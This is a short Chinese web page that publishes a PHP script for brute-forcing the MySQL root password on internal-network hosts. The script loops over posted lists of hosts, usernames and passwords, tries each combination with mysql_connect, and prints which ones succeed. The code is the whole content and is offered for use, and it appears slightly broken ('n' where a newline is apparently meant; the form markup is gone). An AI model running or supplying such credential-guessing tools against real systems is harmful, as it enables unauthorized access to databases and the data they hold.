mysql root 爆破_爆破内网mysql数据库root密码脚本代码

set_time_limit(0);

$host=explode("n",@$_POST['host']);

$name=explode("n",@$_POST['name']);

$password=explode("n",@$_POST['password']);

if(isset($_POST['submit'])){

foreach ($host as $hostt) {

foreach ($name as $namee) {

foreach ($password as $passwordd) {

@$sql=@mysql_connect($hostt,$namee,$passwordd);

if (@$sql) {

echo $hostt.'+'.$namee.'+'.$passwordd.'成功
';

@mysql_close($sql);}

else {

echo $hostt.'+'.$namee.'+'.$passwordd.'失败
';//若数据量过大删除此行

@mysql_close(@$sql);}

}}}}

?>

127.0.0.1

root

root

你可能感兴趣的:(mysql,root,爆破)